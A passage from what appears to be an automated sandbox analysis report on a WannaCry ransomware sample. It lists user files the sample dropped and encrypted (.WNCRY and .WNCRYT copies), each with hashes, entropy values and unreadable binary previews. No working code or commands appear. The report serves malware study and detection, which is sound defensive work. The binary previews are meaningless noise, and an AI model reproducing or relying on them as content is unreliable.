                                    SHA1:D25525D92DF6B20FC7750C493B9CDAA6E5CC1B33
                                    SHA-256:A885F0318F4456D8835E26984C2845EC78CB1AD3C2DC31C7C6FFCF9EF56FFE09
                                    SHA-512:D05AE6FB27B0050AB947D3D304DD03E715BDE7DEE58710151A8F1B1D8C955BDE150CCD9694107A91480DF67354D1CE3594C9268AD83C0AB07042D140D2267844
                                    Malicious:false
                                    Preview:WANACRY!.....D.8..u......%...$......\... I*..iC]{.^.<...;..$J......x.k.C}y.2.d.@l.Tx)...20.\.L....B9x..d=8...|.%a#u.......U....=..<..Y.j.b....`Yb...;.<).f.X.8....l.n.b.......h.m..?~l..S...a....O..k.20O...=.G2..z%..K...... .\|.F.q.v....Z..".l.M8.J....<J.+...............s.....@........*K..f.......k.d.....B.?..q.T.......PX.L......Q.]T>|.`.&D...E.-...-Q....FF..r...vo.*a...>..=j.aM. Ag......k...+U....(..#.P....k.V.+.6...#.......W...\..v.....-...d. .U>.l.Yw7...N.QB.pHPJ.O0....|......2%.e't......(........9....K4..8W.K..#?*......L.nu.......J.E*.}9..... .#fP..0.o.Va.. ..w%...8.3..s...Q.JT..(....6.(./.9v'..S.W pK;..]3.o....j.r(..0.....J!.....].d. ..P..8^`............9i:/~..IQD....Dv..[+.j.>.La...u.iJ.........0E...Q.5....A].J.Si#}8.U,.d.#...e.t{.(..M=_B.e#.%.,..Rv~..4.......W..J..^..A"..te..+.+%.....]h.m;Z.JNs.|k..<.L....|..po...ZqT..|........U..@D..'...0.....:...1I....A$.=..K+..n.L...+...z..x.'(.....!......J|.?T...#........="J...D.%..i....\..n.j..[

                                    C:\Users\user\Documents\UNKRLCVOHV\BXAJUJAOEO.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.846103063624358
                                    Encrypted:false
                                    SSDEEP:24:bkGIGFmg4UZTvKLtnQ7u8MN/ecPt596obcfn8W7N+zzBY5ooq:bkOFNCLtQC3Wif6Zn82NTA
                                    MD5:75FC796599F6209B48BF246A0044A1B7
                                    SHA1:D25525D92DF6B20FC7750C493B9CDAA6E5CC1B33
                                    SHA-256:A885F0318F4456D8835E26984C2845EC78CB1AD3C2DC31C7C6FFCF9EF56FFE09
                                    SHA-512:D05AE6FB27B0050AB947D3D304DD03E715BDE7DEE58710151A8F1B1D8C955BDE150CCD9694107A91480DF67354D1CE3594C9268AD83C0AB07042D140D2267844
                                    Malicious:false
                                    Preview:WANACRY!.....D.8..u......%...$......\... I*..iC]{.^.<...;..$J......x.k.C}y.2.d.@l.Tx)...20.\.L....B9x..d=8...|.%a#u.......U....=..<..Y.j.b....`Yb...;.<).f.X.8....l.n.b.......h.m..?~l..S...a....O..k.20O...=.G2..z%..K...... .\|.F.q.v....Z..".l.M8.J....<J.+...............s.....@........*K..f.......k.d.....B.?..q.T.......PX.L......Q.]T>|.`.&D...E.-...-Q....FF..r...vo.*a...>..=j.aM. Ag......k...+U....(..#.P....k.V.+.6...#.......W...\..v.....-...d. .U>.l.Yw7...N.QB.pHPJ.O0....|......2%.e't......(........9....K4..8W.K..#?*......L.nu.......J.E*.}9..... .#fP..0.o.Va.. ..w%...8.3..s...Q.JT..(....6.(./.9v'..S.W pK;..]3.o....j.r(..0.....J!.....].d. ..P..8^`............9i:/~..IQD....Dv..[+.j.>.La...u.iJ.........0E...Q.5....A].J.Si#}8.U,.d.#...e.t{.(..M=_B.e#.%.,..Rv~..4.......W..J..^..A"..te..+.+%.....]h.m;Z.JNs.|k..<.L....|..po...ZqT..|........U..@D..'...0.....:...1I....A$.=..K+..n.L...+...z..x.'(.....!......J|.?T...#........="J...D.%..i....\..n.j..[

                                    C:\Users\user\Documents\UNKRLCVOHV\LIJDSFKJZG.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.777805890102559
                                    Encrypted:false
                                    SSDEEP:24:rjIIsXWZFLBxAcgrXB27KZH3KHlTa2pPDHh9t36jZ9c:rjYXWF9xAbjBsoKHlTa21DHh9tkc
                                    MD5:CA6914BBDD00FC3CAE7A5CEFA4FCF99E
                                    SHA1:6DF873A238AD03F3B92376CD5C012E66CECB8737
                                    SHA-256:31383652D3AD6BA8FCF0885595EC23DFE4FE27375DF0E461AF3A8D8F376B8C06
                                    SHA-512:EE5EF1788A6E657049547D6D7B1C1B2A14228CA86C91A645BB39B3FCF24F69401BD997D51FC840B9E2B17EC57D8C9A76006A384CA711234B7CD82F70EFE27AA6
                                    Malicious:false
                                    Preview:...i.0.....Jw".t.h-.!K.U..Fh.....i...(S.......6...>3`<....x..Y.pU...<..+..........o.c...P,Nk..T...0.S...m.n....q..f.....(..e#...?nb..'.a..p.&Q..&peK....4Dm..?M..Y.&..q..Gz..43\.I;.z......?.\.${..L.+.s.G#jB..D%[.3v.......T.......6.R2..|.QMe....8....(\..hS+.X7..u..!c.y34........@..L.5.cp.L.3.-........&!zH...RYN...#....~K4>.Q0V.f..n...Z1......j...t..7..^.30..Hk....:~..i..@.a6Y..@OO:.F..G0.^-..)KP......q.....6...)<0..;....D .1.Z;......~...0.......*..~...L..Pv.._.S...L.Z.)..........p.7,.S.L...0b4...u..Y)!......OW...(.?.._._.zg.s........\...41-e...{I.p.[.2i.2.T.....xM.>._.-.....u...2 ......c.k`.....-c.p.G......[.e\..N..v....9.G..B...........iA7T..E6....0..P...YIm...y..r.&....."..0..1........L<....h(.w..v.6a....K..m2L.s.vWD..qi.0..?P.M..d.mx....mv|7.V...$\.S..Y.;.6c...O.c.'.l...'.I.....cn=...u..."...A.../[n/..o;.Z....CQp.S{.....Pc..2<.<.......i..o:,.G...).4.;..3....._+ B.8tA`c.r.'.&md.R..R.xO_.C.....Yv.......QD.....b.B|'.R...w.ZA%.

                                    C:\Users\user\Documents\UNKRLCVOHV\LIJDSFKJZG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850279297547259
                                    Encrypted:false
                                    SSDEEP:24:bkf60/9uJ9Wds1DdmUn+d/ccN+aFcgz9wur91PbgfTnDgVLs8n6VgWuVPPo/ZLJd:bkf601uwihmUnSNrxr91PaTnq48n6Vg2
                                    MD5:D0DD34459150D6BB4DA9EB6EBDE577CA
                                    SHA1:0C26C66DA6F59E7E48865F97C46A94069A14F62F
                                    SHA-256:B62FDDC3F84A98BCCF2EF6AD7F952A28C942CB1ED6106EF030F50E58FF23F01D
                                    SHA-512:36C93C0A322A24F2CE7151DA4951C3ED96D40AE788EFF43AB9BF9E233F98981F9A651D4E0EE9231CAA5D33782ECC0DFCC4C28541A296723C15D7BE2C90DB8637
                                    Malicious:false
                                    Preview:WANACRY!.....!...A.<>J.z.....o'.pm.n....l.~.....-k{.7.I..../..A....kRm.n....x]...jv.....D..J]7.ZS.kc5....'v.Go..w..._......u.].k+....._0&0kFC=1.~ai..y.S...oPb.n.&....lGG.,|F.9...,..K..5.......d...q.<SO.>..I#...F;.p...]..kS..N...E......q.....m...G ..<.fy.3.............F...}o|..F.,#..6..0.J..*..S:;R...^u...Q.).v.}.......(.p.<..[t..(@....&..lr.MP%y0..w*.XA`Fg...|..qh.@L.........5..F...JB..nk....A..{..].9(...+.....@s.M.5...N....Uz.\.T..OB7..W.B..8...(.8.I.....(^.j..$=...JN.....+v..`u'.......l..:...$.k.....Y..%.B.w.P5 '...I#!...&.....y.~..+..8H..+...bi.......z.=...a...[@A~..V....1..V.......+~1...+.)..M..f6t8!1-{.B..X.2...nx.!b...H..Y.1J...cn._@r..3........}}!.7.#.$....(.S.L2._$.de.}...\..y>$s...........um6J.1.........O..#m....^...8.~.%.tb|[......C;.98.i.Gb...\-....t......s.Z. =Kv/2..$$...~.r.?v.......2...@..r<D.r.i.K.o%...c..|$..t$L{./3hq.&l.......Q..,...3..}?.{t....}+..b....o...Q......<...h.....n.<...d.u........R..OD.j(N.U.....]=.."<...

                                    C:\Users\user\Documents\UNKRLCVOHV\LIJDSFKJZG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850279297547259
                                    Encrypted:false
                                    SSDEEP:24:bkf60/9uJ9Wds1DdmUn+d/ccN+aFcgz9wur91PbgfTnDgVLs8n6VgWuVPPo/ZLJd:bkf601uwihmUnSNrxr91PaTnq48n6Vg2
                                    MD5:D0DD34459150D6BB4DA9EB6EBDE577CA
                                    SHA1:0C26C66DA6F59E7E48865F97C46A94069A14F62F
                                    SHA-256:B62FDDC3F84A98BCCF2EF6AD7F952A28C942CB1ED6106EF030F50E58FF23F01D
                                    SHA-512:36C93C0A322A24F2CE7151DA4951C3ED96D40AE788EFF43AB9BF9E233F98981F9A651D4E0EE9231CAA5D33782ECC0DFCC4C28541A296723C15D7BE2C90DB8637
                                    Malicious:false
                                    Preview:WANACRY!.....!...A.<>J.z.....o'.pm.n....l.~.....-k{.7.I..../..A....kRm.n....x]...jv.....D..J]7.ZS.kc5....'v.Go..w..._......u.].k+....._0&0kFC=1.~ai..y.S...oPb.n.&....lGG.,|F.9...,..K..5.......d...q.<SO.>..I#...F;.p...]..kS..N...E......q.....m...G ..<.fy.3.............F...}o|..F.,#..6..0.J..*..S:;R...^u...Q.).v.}.......(.p.<..[t..(@....&..lr.MP%y0..w*.XA`Fg...|..qh.@L.........5..F...JB..nk....A..{..].9(...+.....@s.M.5...N....Uz.\.T..OB7..W.B..8...(.8.I.....(^.j..$=...JN.....+v..`u'.......l..:...$.k.....Y..%.B.w.P5 '...I#!...&.....y.~..+..8H..+...bi.......z.=...a...[@A~..V....1..V.......+~1...+.)..M..f6t8!1-{.B..X.2...nx.!b...H..Y.1J...cn._@r..3........}}!.7.#.$....(.S.L2._$.de.}...\..y>$s...........um6J.1.........O..#m....^...8.~.%.tb|[......C;.98.i.Gb...\-....t......s.Z. =Kv/2..$$...~.r.?v.......2...@..r<D.r.i.K.o%...c..|$..t$L{./3hq.&l.......Q..,...3..}?.{t....}+..b....o...Q......<...h.....n.<...d.u........R..OD.j(N.U.....]=.."<...

                                    C:\Users\user\Documents\UNKRLCVOHV\SNIPGPPREP.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.80405264789803
                                    Encrypted:false
                                    SSDEEP:24:qBRVy6lTArB8/qB+pUExqq1VpZ5OH+vXo9BYSuFXfZCA3/G:yy7rCxD/dOiY9CbB0
                                    MD5:8D4D05088E1DF303D98E2C6BA9D63D79
                                    SHA1:C1BE511E39570B59488858F97261ABC2F4CE2824
                                    SHA-256:308285974611648633F4E99FE5602A7F041ED1E75D49F756EAA0488235C4C5F5
                                    SHA-512:A2A0946192B3CD87B75291FF05C78FB8C8E6A842B9335DC70679A2F95AF2F3F87A721C249CABC71E9B61DA7B849AF8FCB1597F9DC9A5658BCAC2B29415F9FB3A
                                    Malicious:false
                                    Preview:.L.+..%.x.C..o./=.&\>k.......@.7.5.......k.;._.D.....0..]{E...$...B...`.w.2.]..bpqc.....&..Z.....t..}wsC=..6....n.&.......&=..QE..z..=@......6M..vU.w........B.{..E....b.C6....f...t..t.U..y..y......^.N2@R.&..[.7.......z2..go.6..=.. ..yPa[kU...B.v.N....`..b..'F........A..x.......4..w,.<..B..IR.(....Q2./......P).Y....D.._.U.&...U1......q..v..k.z.W}.$.ESb.R....O._..>.x..u......:}..._i+...~.......r..t.I%T...l`[.W.`...&.U.Qt.1s.ed.n......?[.B)CB7dMm.s&...$;.B..m"{v.~..b.w..H....6l.(Y...{.(..!.Q....K.....lq>..0..u...R..7'xyGm.>v./.4..:$=:....0K.3.@.|.m8....a....+.m.X.......b........y.v8...0.....F.^.....bK.........Oub...9...$ntqb..$=.........K...U8.....Z....LD.....]..B.P..zV.y1:b............'5..8.<.OG.....m.b2E<9[.7..k|....i.#A..$,.'.^......<..j..-9LEO.EV..}%pA.(..w`.%._b.....,x....,.@..Z.]Y\^....iL.a...b..<L$(X-(?$.c).ga...u...gu...-)..c.....xC....].$../.G...@#C.bH^@..c...e8........k..........=......$Q..D...@...+GE..Cq...Z+!v.j.O....

                                    C:\Users\user\Documents\UNKRLCVOHV\SNIPGPPREP.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830642833936446
                                    Encrypted:false
                                    SSDEEP:24:bkxa6TZlaFZL9IoSR4Khf8mjy6oJTvcd4zpB3vc/9iWBsTxkt7uI:bkI2ZlaF64Khf3wUd4zpBfc/0kyk5uI
                                    MD5:ACB6C274CDEE06A0A9BB9634210B7947
                                    SHA1:E17287B6573E4BBA3E2AAE94970D05C024A05209
                                    SHA-256:1CC5410DD911B5F59160143B76BAD4683A875F718AFA0C59705202E023E32335
                                    SHA-512:26D3ADB2D325D92BBA04B972735AF11F5F4266C67EBB0F7C0A804E50B0F78FEC0F6C59161938A9E71A569B0FCB8A3655621C6EA257ADB04F6AD8C18694646999
                                    Malicious:false
                                    Preview:WANACRY!.........l...\W`5j.A...|..z.j...}=.UE3..v....}M3......m..?....H*i...O.D.r.P@..<*/..9.....1n.;|=b..mhh.K.Y..9...iX.c..`.";.......!.+WB`7_h....... K;w..<.....,...od...K..BY:g-..i...`..D.Q.q......(...M....f... ..C.r..Z......E.......7.&.......9.N.P.....$.............X..}.%u.C).:...TVi.E......}o!.l[&~..~gK..y.`G..%.....Zo..Q..`.Kj.y...B....."....T&.I.&2mf...c.._~:U....mgjy'hJ.';?.c.%..#...M7...*.. .Q3.{.....TU....l.+,'..E./..5..L@#..ib.&>..Y..U|.)a;.. .#.^.....PF.......A.....Y....Z..{7a........q...i.}u.JQ..A....T.v.......<..;69^..bW...9.SfN......Ot......b.)...../-..(...u>cS......k...$..u.Y.CX...`>.P.Y.V1..x..`...y!..-.\.=........2.d.#...F\}.:.l...5yw..&.4;.\H.Y8...H@x....en.w...@.H.HT.?.K....'F.."'....B...s.y.n..".pI...P.'.+u....^...Ci../....|?D..^.|......EO...$......../.......dbQV.........D.]J{&......<.}...o.I....q...xOK;.R.#E..S...{m..]......C..Z;@d"`.b.u..-...}...'..NL.5}......ACq..08..;m.YU(.!..?......\.#.........]..m.\m..>Z.d

                                    C:\Users\user\Documents\UNKRLCVOHV\SNIPGPPREP.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830642833936446
                                    Encrypted:false
                                    SSDEEP:24:bkxa6TZlaFZL9IoSR4Khf8mjy6oJTvcd4zpB3vc/9iWBsTxkt7uI:bkI2ZlaF64Khf3wUd4zpBfc/0kyk5uI
                                    MD5:ACB6C274CDEE06A0A9BB9634210B7947
                                    SHA1:E17287B6573E4BBA3E2AAE94970D05C024A05209
                                    SHA-256:1CC5410DD911B5F59160143B76BAD4683A875F718AFA0C59705202E023E32335
                                    SHA-512:26D3ADB2D325D92BBA04B972735AF11F5F4266C67EBB0F7C0A804E50B0F78FEC0F6C59161938A9E71A569B0FCB8A3655621C6EA257ADB04F6AD8C18694646999
                                    Malicious:false
                                    Preview:WANACRY!.........l...\W`5j.A...|..z.j...}=.UE3..v....}M3......m..?....H*i...O.D.r.P@..<*/..9.....1n.;|=b..mhh.K.Y..9...iX.c..`.";.......!.+WB`7_h....... K;w..<.....,...od...K..BY:g-..i...`..D.Q.q......(...M....f... ..C.r..Z......E.......7.&.......9.N.P.....$.............X..}.%u.C).:...TVi.E......}o!.l[&~..~gK..y.`G..%.....Zo..Q..`.Kj.y...B....."....T&.I.&2mf...c.._~:U....mgjy'hJ.';?.c.%..#...M7...*.. .Q3.{.....TU....l.+,'..E./..5..L@#..ib.&>..Y..U|.)a;.. .#.^.....PF.......A.....Y....Z..{7a........q...i.}u.JQ..A....T.v.......<..;69^..bW...9.SfN......Ot......b.)...../-..(...u>cS......k...$..u.Y.CX...`>.P.Y.V1..x..`...y!..-.\.=........2.d.#...F\}.:.l...5yw..&.4;.\H.Y8...H@x....en.w...@.H.HT.?.K....'F.."'....B...s.y.n..".pI...P.'.+u....^...Ci../....|?D..^.|......EO...$......../.......dbQV.........D.]J{&......<.}...o.I....q...xOK;.R.#E..S...{m..]......C..Z;@d"`.b.u..-...}...'..NL.5}......ACq..08..;m.YU(.!..?......\.#.........]..m.\m..>Z.d

                                    C:\Users\user\Documents\UNKRLCVOHV\UNKRLCVOHV.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.820304054822872
                                    Encrypted:false
                                    SSDEEP:24:1XSD2fvGt23FOY6eeGR+otCoTY74roCo8PEDl6Vt9VXkEdc/N/Uk:o2fvGto36eeyCv64WED89x7Eh
                                    MD5:8C1DEF6B76E80E397F0621D1770CE6E6
                                    SHA1:E09307679E1A9F81865CF5C84FD0CCE13854E380
                                    SHA-256:4393A22E98F112D86C1AD8023FA5D6FD9D75F05AE59ED2DB0BF5319B01EDBF18
                                    SHA-512:8C399D01ECD7C7B6CF03EFC591608DE29194BDA5D39775C059974E13CF390CD78757A92BD896766C758866754E253072E8B93D5F2631CF5E6F0CA1DF1AF0CBE9
                                    Malicious:false
                                    Preview:..?",.;o$.*E;..w.OO..(@..x.*....G*V]P.)o9.)pG..c....$6.`X\78...z.\0.]\.y@....br.):.W..=.C..Z,..}z...HIH.&.....q...'.(...7..c......w'.(..<..N.....s..)...g{0.....pQi.........g..d^.._g@58..Rt..M.n.`T.F..w..s.7.j..4..........CO@$.....<.S.......k{...4}#.9..I...fs.'.......V......~...X8.X.`.7VV.vm..LZ..E.q..l |X.H...........aa..1...J..4g....\H....EUj.Z...../.>.y...3n..w........U.3.H.,EH.k.@I.......a....4t...g >@.OS.?..h...cA....(.. h/}..N......`..D...pQ.B.?6.L....J.o5..+x..w..@..........eQ....k....4p...9.....s..eO.;..PFh..6.J.....qV.Ey..}_..=tW:S..T.EM..l)...'.. 1..yfiBAMpE`*..6Z..V.k....}..P.........~.&.._...0.?.-...."XOE3....-.yNo7.!...P..Y.7.f....g.H!v........57........?..Q$..fK...i...<.......}.s...BQ.H..l...J.#..-........4...7.K4Y.l....a.i..."..5. .P..q}....N',;=i..8b..%...,.m..=P.C$.*.+s..n...v:3n..E.....G.x..-J.f..T}/!2..xq.@aR.Y..(z.....>.u..'.......L[...;X~..aN..;{m~...-kY.M,...d..!4..B.....Zu.`.r.9dK.E$...s..1[.......hap.Boy.L.#.

                                    C:\Users\user\Documents\UNKRLCVOHV\UNKRLCVOHV.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852701367783879
                                    Encrypted:false
                                    SSDEEP:24:bkhhuTxNX1FFscCnWCUVjCGl4xVebB/BFUQkaqN8A+ET3CfUn/XzTKRJU:bkG3uZnWCUVH4AJBjkeA+EzzruRJU
                                    MD5:6A1B5C0071176C1B1B8927F8EBABEE1B
                                    SHA1:25927F21B8151EF348660EF1BE4D0DACD6313D1B
                                    SHA-256:A6C3435989C14A060C5E7DAA52A5B3302DDED62D4BEEC42943AFC14C73249949
                                    SHA-512:D34729A65007320F235C7CF80505E6B5EF3B2D5DF2DCF5DD03CAEFF1CEA6968DD44DC46B027B5FE31B07CDA3EF21950DC7990565C4D3E08C599AEF7ED64965DB
                                    Malicious:false
                                    Preview:WANACRY!.....#..$.*.7..d{..&.r[.....X4..........@.oIzP....?..#..h.n.. .....z:.v....}G2^.:......G......P..ft.=..f_.|.1g...i...q9{6......sR..*..M....i...wx.....h)..J.lO.n..}..,.."...7..[.......;&o..........M#l..P...F.p.....t.I..7......].$ ..PE..,hJw.v.D.T5b.............C.y.[.]?g..z.lh!...D".;.....C.s.-..%. 8o..1X.v.@t.q....}..wy>.'.f.wL...~.G......*.XT.P..-...`..w......V.X....-.2X...".........c7,..s..!.....s.P3.U.....}...YV........,.=.~.s....*..W..dJt.....Y..tR..K.~.H.]*.G.x.L..o</g1v...U..%E...m3a...[1*.9...)9j...,.......P..Y..b..qt..N.m......7.Uu.};t..r..g.r...*:.....'i.n.'3..(|...hxg. ...*B.....s.SAY...6..._........'#V(..s..!.-E.)&.wk;.9Z.Mjh..X'.x..8.Q=..P....z6.~.*QK.... ..D)...|.....A...d/..z.h.K-......%.).+6c..8.c.........k.1..3#aE.R.O..VA\.%iv...f.r.Br[`.....Wc..E..>P.^y;.A..).....Ou)..0\./`..z&....]U.Q....Nc.....X...........:...AK.....d..&%..g>.Pr...,p...U..........y..'.p].\O.>.=..6qF....?....f...U....A.86.....P.P...d+..:>.D.'....8..

                                    C:\Users\user\Documents\UNKRLCVOHV\UNKRLCVOHV.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852701367783879
                                    Encrypted:false
                                    SSDEEP:24:bkhhuTxNX1FFscCnWCUVjCGl4xVebB/BFUQkaqN8A+ET3CfUn/XzTKRJU:bkG3uZnWCUVH4AJBjkeA+EzzruRJU
                                    MD5:6A1B5C0071176C1B1B8927F8EBABEE1B
                                    SHA1:25927F21B8151EF348660EF1BE4D0DACD6313D1B
                                    SHA-256:A6C3435989C14A060C5E7DAA52A5B3302DDED62D4BEEC42943AFC14C73249949
                                    SHA-512:D34729A65007320F235C7CF80505E6B5EF3B2D5DF2DCF5DD03CAEFF1CEA6968DD44DC46B027B5FE31B07CDA3EF21950DC7990565C4D3E08C599AEF7ED64965DB
                                    Malicious:false
                                    Preview:WANACRY!.....#..$.*.7..d{..&.r[.....X4..........@.oIzP....?..#..h.n.. .....z:.v....}G2^.:......G......P..ft.=..f_.|.1g...i...q9{6......sR..*..M....i...wx.....h)..J.lO.n..}..,.."...7..[.......;&o..........M#l..P...F.p.....t.I..7......].$ ..PE..,hJw.v.D.T5b.............C.y.[.]?g..z.lh!...D".;.....C.s.-..%. 8o..1X.v.@t.q....}..wy>.'.f.wL...~.G......*.XT.P..-...`..w......V.X....-.2X...".........c7,..s..!.....s.P3.U.....}...YV........,.=.~.s....*..W..dJt.....Y..tR..K.~.H.]*.G.x.L..o</g1v...U..%E...m3a...[1*.9...)9j...,.......P..Y..b..qt..N.m......7.Uu.};t..r..g.r...*:.....'i.n.'3..(|...hxg. ...*B.....s.SAY...6..._........'#V(..s..!.-E.)&.wk;.9Z.Mjh..X'.x..8.Q=..P....z6.~.*QK.... ..D)...|.....A...d/..z.h.K-......%.).+6c..8.c.........k.1..3#aE.R.O..VA\.%iv...f.r.Br[`.....Wc..E..>P.^y;.A..).....Ou)..0\./`..z&....]U.Q....Nc.....X...........:...AK.....d..&%..g>.Pr...,p...U..........y..'.p].\O.>.=..6qF....?....f...U....A.86.....P.P...d+..:>.D.'....8..

                                    C:\Users\user\Documents\UNKRLCVOHV\WSHEJMDVQC.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Secret Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.840450413493592
                                    Encrypted:false
                                    SSDEEP:24:rCpho8mpKKz67SmlLKaCHrLxgnhYimzFch:rCpholVz6umxKa+HxgnhY/Rq
                                    MD5:F50EC4C32C0F3AF7ECDD0B50BA51DA62
                                    SHA1:76DCB391706AEA9D23B2AC0A2A22C4105BFD2165
                                    SHA-256:8B14F2B1FDDDF09C3C8E38869815BB2E6CBC8F5705A3C7F309FB8311E713A04D
                                    SHA-512:CBD77B58D6BE20FEF8727C16D503B16A07B4A5532B2D6FE758F8386D8CA6E7E52EFEF39558189442AA274747DD9C2E3CE819D0619E3ECFDB65D32CA858CD12DF
                                    Malicious:false
                                    Preview:.D.X.e...-.:.Z:.=L.q~..B..E.O,...r.S.#.q..r1...W.j...JCr...........]...i...#.A.J`)....O...i..Y..1.\.f..V..g.W.;.......R.|.6......x).....z.......{.X`....~. L..D....._.".......7.a.e.].M.....l..M...0...,....O.f.'..U.=....m..;......N..:......yp.......~.k...X..U..eF......{..&-...h}!..&...@...}....~.*....Y|.... }....t(J.Q.........b.uf..n#.s.....RV..R...SW0..".=..^...Y".m\l.>sD~%D...9...*..-.;.Y....{.h.N..^..F5I.:7....#.f.8g.x...O...@l..;.<.....c.......6OQbC.S.)E.",S..p+..+g6.O..6.?]or. ..N0.P....;z.......c.h..h.2W.y^.YZ..Bu...s0.4.a.9.}...{.......\W...(su......B.........*u...?../.......D......[..p%.e.0...j.q8w[Cd~..."@|..~...T.90c.x.m,..6/....d........*7....V..`...(...Rnp.......er...>......'.v.'I.4.|.!...I......-e...A..)0..q..:.@8R..T..L.........>.f.rV..-C.k.1.cf@`.)H#...7.gm...P9...!.$......B.5.97e...D..FF..1..}.......`..EJ..] .>.../.w._r.!.V.....zL...$.C..M.>...p~o}...V......62.....s'14.....4.L.X...k"......Av.X....>&.h....../.)m.'.K.vH...`.!

                                    C:\Users\user\Documents\UNKRLCVOHV\WSHEJMDVQC.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854475915277581
                                    Encrypted:false
                                    SSDEEP:24:bkqFgqX0GZ3hBpqPKqG0fbp7DBCTySMVwyFVkfN/nZOt66PtlTuRyOvGSE8m0lF8:bkEVlBwPKp0jbCTh0VWJnh6PPuD4+lby
                                    MD5:6F2E36295AA37AB29CEE9598E3A50B77
                                    SHA1:EEBCF4FC70F44A2D999EB9003CE5A3DB448EC615
                                    SHA-256:A6E45B80A4F7883D0DF5AD5865CF14BFC15CCCE4E88F5801EFB2DAE7289D0A80
                                    SHA-512:F3EE311FB01DD314D74BA72E0BB3259EF88AB3F319EF9E9875EFF067E6862BEF4B48FDE1F6074A8A74EF3562788A728123B4F65A8F43D9BA03FA2C06E0D9EE07
                                    Malicious:false
                                    Preview:WANACRY!....E..VI.4.../....[...v.d..f<Q).q.e..r.+...lX......I.<..e...<..=..1.gae.......dk6w.O..J.n.b&Z...{.*.W....\0.....c}..A.:.g).F..~.U.,..|.v....t....@&...3.?>...>.J.......h..4.f.....&.!I..?.#.=S>.z....d../.2c.Gr?u...Z..w.m4..~kS...6..5..6.e.#....................l.....2.+h-..]9v..,[.W[.18...........u[!..2..P......H...nP....[......w..0V....i..K.K..".7R4..2G.e. ...k..k.).4..Xn.-ccDM.S.@.nV.5....t,.@...v...y.|.6....)..~'...D...P.]..|.....h..Mxn......_.L~..Iq...#...6..n)w..k....s..p.4./.nIx...+..|.`*.C....m.Y......*'.%..._..;.q......2..#.'"..T....{.da.."4.{y}I1@,>..*)R8wC..H...).8..t.n].....8m$...eRWO......y...~t...L.......b..(...0..'AQ.$..SV,...s.z...z.>]..T..2.@.......\.c.n.L.tA0{.F...d...#.v.........}Kd.{..(KR....s..5......Z..c..\....Q...r.i.%..G.."h.Ij.m.uX.3+.>.xbEe.}m.M.M...X.o.\.7..\...J...{..r.....e/1K..G.....>...Lo.I#:......dd..u..n....:...'H..wt..uY.<$.B._../-....s*.2.>O.Bq._.......W.../.t..Nv.Z.....$afA........c*.4L^.x.....X.&.

                                    C:\Users\user\Documents\UNKRLCVOHV\WSHEJMDVQC.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854475915277581
                                    Encrypted:false
                                    SSDEEP:24:bkqFgqX0GZ3hBpqPKqG0fbp7DBCTySMVwyFVkfN/nZOt66PtlTuRyOvGSE8m0lF8:bkEVlBwPKp0jbCTh0VWJnh6PPuD4+lby
                                    MD5:6F2E36295AA37AB29CEE9598E3A50B77
                                    SHA1:EEBCF4FC70F44A2D999EB9003CE5A3DB448EC615
                                    SHA-256:A6E45B80A4F7883D0DF5AD5865CF14BFC15CCCE4E88F5801EFB2DAE7289D0A80
                                    SHA-512:F3EE311FB01DD314D74BA72E0BB3259EF88AB3F319EF9E9875EFF067E6862BEF4B48FDE1F6074A8A74EF3562788A728123B4F65A8F43D9BA03FA2C06E0D9EE07
                                    Malicious:false
